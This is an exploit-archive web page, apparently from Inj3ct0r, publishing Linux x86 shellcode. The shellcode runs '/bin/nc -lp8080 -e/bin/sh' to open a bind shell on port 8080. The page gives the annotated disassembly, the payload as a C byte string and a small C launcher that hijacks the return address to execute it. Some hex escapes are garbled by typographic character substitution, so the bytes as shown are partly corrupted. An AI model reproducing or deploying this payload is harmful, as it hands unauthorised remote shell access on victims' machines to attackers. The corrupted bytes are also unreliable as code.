<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>linux/x86 netcat bindshell port 8080 75 bytes</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=============================================
linux/x86 netcat bindshell port 8080 75 bytes
=============================================

/* 08048060 &lt;_start&gt;:
8048060: eb 2a jmp 804808c &lt;GotoCall&gt;

08048062 &lt;shellcode&gt;:
8048062: 5e pop %esi
8048063: 31 c0 xor %eax,%eax
8048065: 88 46 07 mov %al,0×7(%esi)
8048068: 88 46 0f mov %al,0xf(%esi)
804806b: 88 46 19 mov %al,0×19(%esi)
804806e: 89 76 1a mov %esi,0×1a(%esi)
8048071: 8d 5e 08 lea 0×8(%esi),%ebx
8048074: 89 5e 1e mov %ebx,0×1e(%esi)
8048077: 8d 5e 10 lea 0×10(%esi),%ebx
804807a: 89 5e 22 mov %ebx,0×22(%esi)
804807d: 89 46 26 mov %eax,0×26(%esi)
8048080: b0 0b mov $0xb,%al
8048082: 89 f3 mov %esi,%ebx
8048084: 8d 4e 1a lea 0×1a(%esi),%ecx
8048087: 8d 56 26 lea 0×26(%esi),%edx
804808a: cd 80 int $0×80

0804808c &lt;GotoCall&gt;:
804808c: e8 d1 ff ff ff call 8048062 &lt;shellcode&gt;
8048091: 2f das
8048092: 62 69 6e bound %ebp,0×6e(%ecx)
8048095: 2f das
8048096: 6e outsb %ds:(%esi),(%dx)
8048097: 63 23 arpl %sp,(%ebx)
8048099: 2d 6c 70 38 30 sub $0×3038706c,%eax
804809e: 38 30 cmp %dh,(%eax)
80480a0: 23 2d 65 2f 62 69 and 0×69622f65,%ebp
80480a6: 6e outsb %ds:(%esi),(%dx)
80480a7: 2f das
80480a8: 73 68 jae 8048112 &lt;GotoCall+0×86&gt;
80480aa: 23 41 41 and 0×41(%ecx),%eax
80480ad: 41 inc %ecx
80480ae: 41 inc %ecx
80480af: 42 inc %edx
80480b0: 42 inc %edx
80480b1: 42 inc %edx
80480b2: 42 inc %edx
80480b3: 43 inc %ebx
80480b4: 43 inc %ebx
80480b5: 43 inc %ebx
80480b6: 43 inc %ebx
80480b7: 44 inc %esp
80480b8: 44 inc %esp
80480b9: 44 inc %esp
80480ba: 44 inc %esp
*/

//bin/nc -lp8080 -e/bin/sh
char shellcode[] =
&quot;xebx2ax5ex31xc0×88x46×07x88×46x0fx88×46x19×89x76×1ax8dx5ex08×89x5ex1ex8dx5ex10×89x5ex22×89x46×26xb0×0bx89xf3×8dx4ex1ax8dx56×26xcdx80xe8xd1xffxffxffx2fx62×69x6ex2fx6ex63×23x2dx6cx70×38x30×38x30×23x2dx65×2fx62×69x6ex2fx73×68x23&quot;;

int main()
{
int *ret;
ret = (int *)&amp;ret + 2;
(*ret) = (int)shellcode;
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-11]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13327